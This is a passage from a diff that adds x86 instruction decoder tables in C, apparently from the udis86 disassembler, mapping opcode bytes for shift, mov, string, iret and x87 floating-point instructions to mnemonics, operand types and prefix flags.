O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifxrstor, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_af__osize[3] = { + /* 00 */ { UD_Iscasw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 01 */ { UD_Iscasd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 02 */ { UD_Iscasq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_c0__reg[8] = { + /* 00 */ { UD_Irol, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_c1__reg[8] = { + /* 00 */ { UD_Irol, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_c6__reg[8] = { + /* 00 */ { UD_Imov, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_c7__reg[8] = { + /* 00 */ { UD_Imov, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_cf__osize[3] = { + /* 00 */ { UD_Iiretw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 01 */ { UD_Iiretd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 02 */ { UD_Iiretq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_d0__reg[8] = { + /* 00 */ { UD_Irol, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d1__reg[8] = { + /* 00 */ { UD_Irol, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d2__reg[8] = { + /* 00 */ { UD_Irol, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d3__reg[8] = { + /* 00 */ { UD_Irol, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iror, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ircl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ircr, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ishr, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Isar, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d8__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_d8__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifadd, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifmul, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ifcom, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifcomp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifsub, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifsubr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifdiv, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifdivr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d8__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifadd, O_ST0, O_ST1, O_NONE, P_none }, + /* 02 */ { UD_Ifadd, O_ST0, O_ST2, O_NONE, P_none }, + /* 03 */ { UD_Ifadd, O_ST0, O_ST3, O_NONE, P_none }, + /* 04 */ { UD_Ifadd, O_ST0, O_ST4, O_NONE, P_none }, + /* 05 */ { UD_Ifadd, O_ST0, O_ST5, O_NONE, P_none }, + /* 06 */ { UD_Ifadd, O_ST0, O_ST6, O_NONE, P_none }, + /* 07 */ { UD_Ifadd, O_ST0, O_ST7, O_NONE, P_none }, + /* 08 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifmul, O_ST0, O_ST1, O_NONE, P_none }, + /* 0A */ { UD_Ifmul, O_ST0, O_ST2, O_NONE, P_none }, + /* 0B */ { UD_Ifmul, O_ST0, O_ST3, O_NONE, P_none }, + /* 0C */ { UD_Ifmul, O_ST0, O_ST4, O_NONE, P_none }, + /* 0D */ { UD_Ifmul, O_ST0, O_ST5, O_NONE, P_none }, + /* 0E */ { UD_Ifmul, O_ST0, O_ST6, O_NONE, P_none }, + /* 0F */ { UD_Ifmul, O_ST0, O_ST7, O_NONE, P_none }, + /* 10 */ { UD_Ifcom, O_ST0, O_ST0, O_NONE, P_none }, + /* 11 */ { UD_Ifcom, O_ST0, O_ST1, O_NONE, P_none }, + /* 12 */ { UD_Ifcom, O_ST0, O_ST2, O_NONE, P_none }, + /* 13 */ { UD_Ifcom, O_ST0, O_ST3, O_NONE, P_none }, + /* 14 */ { UD_Ifcom, O_ST0, O_ST4, O_NONE, P_none }, + /* 15 */ { UD_Ifcom, O_ST0, O_ST5, O_NONE, P_none }, + /* 16 */ { UD_Ifcom, O_ST0, O_ST6, O_NONE, P_none }, + /* 17 */ { UD_Ifcom, O_ST0, O_ST7, O_NONE, P_none }, + /* 18 */ { UD_Ifcomp, O_ST0, O_ST0, O_NONE, P_none }, + /* 19 */ { UD_Ifcomp, O_ST0, O_ST1, O_NONE, P_none }, + /* 1A */ { UD_Ifcomp, O_ST0, O_ST2, O_NONE, P_none }, + /* 1B */ { UD_Ifcomp, O_ST0, O_ST3, O_NONE, P_none }, + /* 1C */ { UD_Ifcomp, O_ST0, O_ST4, O_NONE, P_none }, + /* 1D */ { UD_Ifcomp, O_ST0, O_ST5, O_NONE, P_none }, + /* 1E */ { UD_Ifcomp, O_ST0, O_ST6, O_NONE, P_none }, + /* 1F */ { UD_Ifcomp, O_ST0, O_ST7, O_NONE, P_none }, + /* 20 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none }, + /* 21 */ { UD_Ifsub, O_ST0, O_ST1, O_NONE, P_none }, + /* 22 */ { UD_Ifsub, O_ST0, O_ST2, O_NONE, P_none }, + /* 23 */ { UD_Ifsub, O_ST0, O_ST3, O_NONE, P_none }, + /* 24 */ { UD_Ifsub, O_ST0, O_ST4, O_NONE, P_none }, + /* 25 */ { UD_Ifsub, O_ST0, O_ST5, O_NONE, P_none }, + /* 26 */ { UD_Ifsub, O_ST0, O_ST6, O_NONE, P_none }, + /* 27 */ { UD_Ifsub, O_ST0, O_ST7, O_NONE, P_none }, + /* 28 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none }, + /* 29 */ { UD_Ifsubr, O_ST0, O_ST1, O_NONE, P_none }, + /* 2A */ { UD_Ifsubr, O_ST0, O_ST2, O_NONE, P_none }, + /* 2B */ { UD_Ifsubr, O_ST0, O_ST3, O_NONE, P_none }, + /* 2C */ { UD_Ifsubr, O_ST0, O_ST4, O_NONE, P_none }, + /* 2D */ { UD_Ifsubr, O_ST0, O_ST5, O_NONE, P_none }, + /* 2E */ { UD_Ifsubr, O_ST0, O_ST6, O_NONE, P_none }, + /* 2F */ { UD_Ifsubr, O_ST0, O_ST7, O_NONE, P_none }, + /* 30 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none }, + /* 31 */ { UD_Ifdiv, O_ST0, O_ST1, O_NONE, P_none }, + /* 32 */ { UD_Ifdiv, O_ST0, O_ST2, O_NONE, P_none }, + /* 33 */ { UD_Ifdiv, O_ST0, O_ST3, O_NONE, P_none }, + /* 34 */ { UD_Ifdiv, O_ST0, O_ST4, O_NONE, P_none }, + /* 35 */ { UD_Ifdiv, O_ST0, O_ST5, O_NONE, P_none }, + /* 36 */ { UD_Ifdiv, O_ST0, O_ST6, O_NONE, P_none }, + /* 37 */ { UD_Ifdiv, O_ST0, O_ST7, O_NONE, P_none }, + /* 38 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none }, + /* 39 */ { UD_Ifdivr, O_ST0, O_ST1, O_NONE, P_none }, + /* 3A */ { UD_Ifdivr, O_ST0, O_ST2, O_NONE, P_none }, + /* 3B */ { UD_Ifdivr, O_ST0, O_ST3, O_NONE, P_none }, + /* 3C */ { UD_Ifdivr, O_ST0, O_ST4, O_NONE, P_none }, + /* 3D */ { UD_Ifdivr, O_ST0, O_ST5, O_NONE, P_none }, + /* 3E */ { UD_Ifdivr, O_ST0, O_ST6, O_NONE, P_none }, + /* 3F */ { UD_Ifdivr, O_ST0, O_ST7, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_d9__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_d9__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifld, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Ifst, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ifstp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifldenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifldcw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifnstenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifnstcw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_d9__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifld, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifld, O_ST0, O_ST1, O_NONE, P_none }, + /* 02 */ { UD_Ifld, O_ST0, O_ST2, O_NONE, P_none }, + /* 03 */ { UD_Ifld, O_ST0, O_ST3, O_NONE, P_none }, + /* 04 */ { UD_Ifld, O_ST0, O_ST4, O_NONE, P_none }, + /* 05 */ { UD_Ifld, O_ST0, O_ST5, O_NONE, P_none }, + /* 06 */ { UD_Ifld, O_ST0, O_ST6, O_NONE, P_none }, + /* 07 */ { UD_Ifld, O_ST0, O_ST7, O_NONE, P_none }, + /* 08 */ { UD_Ifxch, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifxch, O_ST0, O_ST1, O_NONE, P_none }, + /* 0A */ { UD_Ifxch, O_ST0, O_ST2, O_NONE, P_none }, + /* 0B */ { UD_Ifxch, O_ST0, O_ST3, O_NONE, P_none }, + /* 0C */ { UD_Ifxch, O_ST0, O_ST4, O_NONE, P_none }, + /* 0D */ { UD_Ifxch, O_ST0, O_ST5, O_NONE, P_none }, + /* 0E */ { UD_Ifxch, O_ST0, O_ST6, O_NONE, P_none }, + /* 0F */ { UD_Ifxch, O_ST0, O_ST7, O_NONE, P_none }, + /* 10 */ { UD_Ifnop, O_NONE, O_NONE, O_NONE, P_none }, + /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Ifstp1, O_ST0, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Ifstp1, O_ST1, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Ifstp1, O_ST2, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Ifstp1, O_ST3, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Ifstp1, O_ST4, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Ifstp1, O_ST5, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Ifstp1, O_ST6, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Ifstp1, O_ST7, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Ifchs, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iftst, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Ifxam, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Ifld1, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Ifldl2t, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Ifldl2e, O_NONE, O_NONE, O_NONE, P_none }, + /* 2B */ { UD_Ifldlpi, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Ifldlg2, O_NONE, O_NONE, O_NONE, P_none }, + /* 2D */ { UD_Ifldln2, O_NONE, O_NONE, O_NONE, P_none }, + /* 2E */ { UD_Ifldz, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Ifyl2x, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Ifptan, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Ifpatan, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Ifpxtract, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Ifprem1, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Ifdecstp, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Ifncstp, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Ifprem, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Ifyl2xp1, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Ifsqrt, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Ifsincos, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Ifrndint, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Ifscale, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Ifsin, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Ifcos, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_da__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD__OP_00__REG }, + /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD__OP_01__X87 }, +}; + +static struct ud_itab_entry itab__1byte__op_da__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifiadd, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ifimul, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Ificom, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Ificomp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Ifisub, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Ifisubr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ifidiv, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Ifidivr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_da__mod__op_01__x87[64] = { + /* 00 */ { UD_Ifcmovb, O_ST0, O_ST0, O_NONE, P_none }, + /* 01 */ { UD_Ifcmovb, O_ST0, O_ST1, O_NONE, P_none }, + /* 02 */ { UD_Ifcmovb, O_ST0, O_ST2, O_NONE, P_none }, + /* 03 */ { UD_Ifcmovb, O_ST0, O_ST3, O_NONE, P_none }, + /* 04 */ { UD_Ifcmovb, O_ST0, O_ST4, O_NONE, P_none }, + /* 05 */ { UD_Ifcmovb, O_ST0, O_ST5, O_NONE, P_none }, + /* 06 */ { UD_Ifcmovb, O_ST0, O_ST6, O_NONE, P_none }, + /* 07 */ { UD_Ifcmovb, O_ST0, O_ST7, O_NONE, P_none }, + /* 08 */ { UD_Ifcmove, O_ST0, O_ST0, O_NONE, P_none }, + /* 09 */ { UD_Ifcmove, O_ST0, O_ST1, O_NONE, P_none }, + /* 0A */ { UD_Ifcmove, O_ST0, O_ST2, O_NONE, P_none }, + /* 0B */ { UD_Ifcmove, O_ST0, O_ST3, O_NONE, P_none }, + /* 0C */ { UD_Ifcmove, O_ST0, O_ST4, O_NONE, P_none }, + /* 0D */ { UD_Ifcmove, O_ST0, O_ST5, O_NONE, P_none }, + /* 0E */ { UD_Ifcmove, O_ST0, O_ST6, O_NONE, P_none }, + /* 0F */ { UD_Ifcmove, O_ST0, O_ST7, O_NONE, P_none }, + /* 10 */ { UD_Ifcmovbe, O_ST0, O_ST0, O_NONE, P_none }, + /* 11 */ { UD_Ifcmovbe, O_ST0, O_ST1, O_NONE, P_none }, + /* 12 */ { UD_Ifcmovbe, O_ST0, O_ST2, O_NONE, P_none }, + /* 13 */ { UD_Ifcmovbe, O_ST0, O_ST3, O_NONE, P_none }, + /* 14 */ { UD_Ifcmovbe, O_ST0, O_ST4, O_NONE, P_none }, + /* 15 */ { UD_Ifcmovbe, O_ST0, O_ST5, O_NONE, P_none }, + /* 16 */ { UD_Ifcmovbe, O_ST0, O_ST6, O_NONE, P_none }, + /* 17 */ { UD_Ifcmovbe, O_ST0, O_ST7, O_NONE, P_none }, + /* 18 */ { UD_Ifcmovu, O_ST0, O_ST0, O_NONE, P_none }, + /* 19 */ { UD_Ifcmovu, O_ST0, O_ST1, O_NONE, P_none }, + /* 1A */ { UD_Ifcmovu, O_ST0, O_ST2, O_NONE, P_none }, + /* 1B */ { UD_Ifcmovu, O_ST0, O_ST3, O_NONE, P_none }, + /* 1C */ { UD_Ifcmovu, O_ST0, O_ST4, O_NONE, P_none }, + /* 1D */ { UD_Ifcmovu, O_ST0, O_ST5, O_NONE, P_none }, + /* 1E */ { UD_Ifcmovu, O_ST0, O_ST6, O_NONE, P_none }, + /* 1F */ { UD_Ifcmovu, O_ST0, O_ST7, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Ifucompp, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { 